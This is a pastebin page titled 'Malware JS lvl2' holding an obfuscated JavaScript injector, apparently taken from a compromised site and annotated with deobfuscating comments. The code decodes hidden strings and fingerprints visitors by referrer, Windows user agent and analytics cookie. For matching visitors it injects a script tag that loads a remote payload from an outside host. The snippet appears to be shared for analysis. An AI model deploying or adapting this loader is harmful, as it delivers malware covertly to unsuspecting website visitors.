godclan.hu Pastebin

Re: Malware JS lvl2

From eeew, 3 Years ago, written in JavaScript, viewed 251 times. This paste is a reply to Malware JS lvl2 from eeew - view diff
URL https://paste.godclan.hu/view/aFBPY-7h Embed
Download Paste or View Raw
  1. ;
  2. (function () {
  3.         var mt = document[yb("jr)e)r4r;e;f8ejr,")] || ''; // document.referrer || ''
  4.         var xy = new RegExp(yb('&/7)g+)](/;^,[)(5/(/):{')); // "://([^/]+)/"
  5.     // stop if referrer not external
  6.         if (!mt || window[yb(":nvo)i{t{a(c;oql(")][yb("2f)e)r{h,")][yb(":h(c(t}afm(")](xy)[1] == mt[yb(":h(c(t}afm(")](xy)[1]) { // window.location.href.match("://([^/]+)/")[1] == document.referrer.match("://([^/]+)/")
  7.                 return;
  8.         };
  9.         var kp = navigator[yb("ct2n{e;g,Agr4e;s(u}")]; // navigator.userAgent
  10.         var ss = document[yb("8e)i7k}o}o(c)")]; // document.cookie
  11.         if (ar(kp, yb("fs}wqo{d6nmigWe")) && !ar(kp, yb("7d;i;o5r(d}n,A}"))) { // userAgent contains "Windows" && userAgent !contains "Android"
  12.                 if (!ar(ss, yb("s=(a;m(t7u;_r_y_{"))) { // document.cookie !contains "___utma="
  13.                         var qq = document.createElement('script');
  14.                         qq.type = 'text/javascript';
  15.                         qq.async = true;
  16.             // "https://registry.expressvandelivery.com/WebResource.axd?d=dj1iODNkMDU1YzUzZWRhZDkyNjc2ZSZjaWQ9MjQ3&t=1593594029"
  17.                         qq.src = yb('19x2;0}4u965,3,9x5019=;t8&{3{Qcj)M(9fQkW8a,j}Z)S(Z72}c}j(N{y,k{DcZ;h)RyW}ZlzsU2z)Y}1;U}D,Mak3N{D8O{i,1}j}d2=td(?(d}x4a9.6elc;r{u2o}s}e;R{b8e,W4/;m9onc,.yy{r,e(v;i7l,e(d)n;acv)s{s}e4r(pwx(e,.(ywr{tls}iag1efrm/}/m:{s;p}t{t)h(');
  18.                         var di = document.getElementsByTagName('script')[0];
  19.                         di.parentNode.insertBefore(qq, di);
  20.                 }
  21.         }
  22.         function ar(bi, df) { // contains: bi.indexOf(df) !== -1
  23.                 return bi[yb("rf;O}xie)d;n{i}")](df) !== -1;
  24.         }
  25.         function yb(ua) {
  26.                 var bb = '';
  27.                 for (var mv = 0; mv < ua.length; mv++) {
  28.                         if (mv % 2 === 1)
  29.                                 bb += ua[mv];
  30.                 }
  31.                 bb = iz(bb);
  32.                 return bb;
  33.         }
  34.         function iz(rl) {
  35.                 var bl = '';
  36.                 for (var tx = rl.length - 1; tx >= 0; tx--) {
  37.                         bl += rl[tx];
  38.                 }
  39.                 return bl;
  40.         }
  41. })();
  42.  

Replies to Re: Malware JS lvl2 rss

Title Name Language When
Malware JS lvl3 eeew javascript 3 Years ago.

Reply to "Re: Malware JS lvl2"

Here you can reply to the paste above

Powered by Stikked-fit